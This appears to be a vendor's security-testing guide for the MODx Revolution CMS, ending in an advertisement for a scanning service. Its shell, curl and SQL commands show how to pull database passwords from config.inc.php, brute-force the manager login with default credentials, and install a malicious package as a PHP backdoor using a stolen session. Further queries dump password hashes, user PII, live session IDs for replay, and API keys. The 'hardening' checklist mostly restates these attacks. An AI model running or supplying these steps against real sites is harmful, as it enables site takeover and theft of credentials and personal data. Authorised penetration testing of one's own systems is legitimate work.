MODx Revolution Security Testing: Default Credentials, API Key, Database, and CMS

MODx Revolution is a flexible PHP CMS and application framework with a significant install base among web agencies. Key assessment areas: core/config/config.inc.php exposes MySQL credentials (username, password, dbase); admin credentials at /manager/ use SHA-512+salt hashing; modx_sessions stores active session IDs enabling session replay; and MODx Extras (plugins) can be installed to execute arbitrary PHP code. This guide covers systematic MODx Revolution security assessment.

Table of Contents

  1. core/config/config.inc.php MySQL Credential Extraction
  2. Manager Panel and Package Installation Assessment
  3. MySQL modx_users Hash and Session Token Extraction
  4. MODx Revolution Security Hardening

core/config/config.inc.php MySQL Credential Extraction

# MODx Revolution — core/config/config.inc.php MySQL credential extraction
MODX_URL="https://site.example.com"

# core/config/config.inc.php — MODx database configuration
cat /var/www/modx/core/config/config.inc.php 2>/dev/null | \
  grep -E "database_user|database_password|database_connection_method|dbase|host"

python3 -c "
import re
content = open('/var/www/modx/core/config/config.inc.php').read()
patterns = {
    'database_password': r\"\\\\\\\$database_password\s*=\s*'([^']+)'\",
    'database_user': r\"\\\\\\\$database_user\s*=\s*'([^']+)'\",
    'dbase': r\"\\\\\\\$dbase\s*=\s*'([^']+)'\",
    'host': r\"\\\\\\\$database_server\s*=\s*'([^']+)'\",
    'table_prefix': r\"\\\\\\\$table_prefix\s*=\s*'([^']*)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# \$database_password = 'mysql-password';   <-- MySQL password (CRITICAL)
# \$dbase = 'modx';                         <-- database name
# \$table_prefix = 'modx_';                 <-- table prefix

# Check core/ web accessibility (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MODX_URL}/core/" 2>/dev/null)
echo "/core/: HTTP ${STATUS}"

# Check for /setup/ directory (MODx installer)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MODX_URL}/setup/" 2>/dev/null)
echo "/setup/: HTTP ${STATUS}"

# Test manager credentials
for CRED in "admin:admin" "admin:password" "modx:modx" "admin:Admin123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${MODX_URL}/manager/index.php" \
    -d "username=${USER}&password=${PASS}&service=login&login_context=mgr" \
    -c /tmp/modx_c -b /tmp/modx_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

Manager Panel and Package Installation Assessment

# MODx Revolution manager panel — package installation and RCE assessment
MODX_URL="https://site.example.com"

# MODx Revolution manager at /manager/ (default, configurable)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MODX_URL}/manager/" 2>/dev/null)
echo "/manager/: HTTP ${STATUS}"

# MODx Extra Package Manager — install PHP packages
# With admin access, packages (Extras) are downloaded and installed
# Malicious Extra: create PHP backdoor in a .zip package
ADMIN_SESS="extracted-modx-session"
curl -s -X POST "${MODX_URL}/manager/index.php?a=package/install" \
  -d "signature=malicious-extra-1.0.0-pl" \
  -b "PHPSESSID=${ADMIN_SESS}" 2>/dev/null | head -5

# MODx FURL (Friendly URL) - reveal resource structure
# Enumerate public resources via MODX sitemap
curl -s "${MODX_URL}/sitemap.xml" 2>/dev/null | \
  grep -oP '\K[^<]+' | head -20

# MODx Revolution connector API
# Manager API endpoints (authenticated)
curl -s "${MODX_URL}/manager/index.php?a=resource/getList&limit=50" \
  -H "modAuth: ${ADMIN_SESS}" 2>/dev/null | head -10

MySQL modx_users Hash and Session Token Extraction

# MODx Revolution MySQL database — modx_users hash and session token extraction
DB_PASS="extracted-db-password"
TABLE_PREFIX="modx_"

mysql -u modx -p"${DB_PASS}" modx 2>/dev/null << 'EOF'
-- MODx Revolution modx_users — admin accounts with SHA-512 hashes
SELECT u.id, u.username, u.password, u.salt,
       u.sudo,          -- 1 = super-admin (all permissions)
       u.active,
       u.createdon, u.lasthit,
       u.failedpasswordattempts
FROM modx_users u
WHERE u.active = 1
ORDER BY u.id;
-- password: SHA-512(MD5(password) + salt) in older MODx
-- Modern MODx: SHA-512(password + salt)
-- sudo=1: super-admin with unrestricted manager access

-- User attributes (email, contact PII)
SELECT a.internalKey, a.email,
       a.fullname, a.phone, a.mobilephone,
       a.comment, a.state, a.country,
       a.zip, a.photo, a.createdon
FROM modx_user_attributes a
ORDER BY a.internalKey
LIMIT 20;

-- Active sessions
SELECT s.id, s.internalKey, s.lasthit,
       s.lasthit, s.secure,
       u.username
FROM modx_session s
JOIN modx_users u ON u.id = s.internalKey
WHERE s.lasthit > UNIX_TIMESTAMP(NOW() - INTERVAL 1 HOUR)
ORDER BY s.lasthit DESC;
-- s.id: PHP session ID — replay enables admin manager access without password

-- System settings (may contain API keys, SMTP credentials)
SELECT s.key, s.value, s.area
FROM modx_system_settings s
WHERE s.key LIKE '%password%' OR s.key LIKE '%secret%'
  OR s.key LIKE '%api_key%' OR s.key LIKE '%token%'
ORDER BY s.key
LIMIT 20;
EOF

MODx Revolution Security Hardening

MODx Revolution Security Hardening Checklist:
Security TestMethodRisk
core/config/config.inc.php MySQL password extractionRead /var/www/modx/core/config/config.inc.php — $database_password; full database access to modx_users SHA-512 hashes and modx_session active tokensCritical
/setup/ MODx installer accessibilityGET /setup/ — HTTP 200 = reinstallation wizard; admin credential reset and full database reconfiguration without authenticationCritical
modx_session active session token extraction for replayMySQL SELECT id, username FROM modx_session JOIN modx_users — PHP session ID replay enables manager access without password for currently logged-in adminsHigh
modx_users SHA-512+salt hash extraction with sudo identificationMySQL SELECT sudo, password, salt FROM modx_users — SHA-512 hashes with individual salts; sudo=1 = full manager superadmin accessHigh
Admin credential brute-force at /manager/POST /manager/index.php — admin/admin or common passwords; manager access enables Extra installation (PHP code execution), content modification, user creationHigh

Automate MODx Revolution Security Testing

Ironimo tests MODx Revolution deployments for core/config/config.inc.php MySQL database_password web and filesystem credential extraction, /setup/ reinstallation directory accessibility enabling admin credential reset, admin credential brute-force at /manager/index.php, modx_users SHA-512+salt hash extraction with sudo=1 superadmin identification, modx_session active PHP session ID enumeration enabling session replay attacks, modx_user_attributes email and PII data extraction, modx_system_settings API key and SMTP credential enumeration, /core/ web accessibility verification, MODx Extra package inventory for unpatched CVE detection, and MODx version disclosure for security advisory targeting.

Start free scan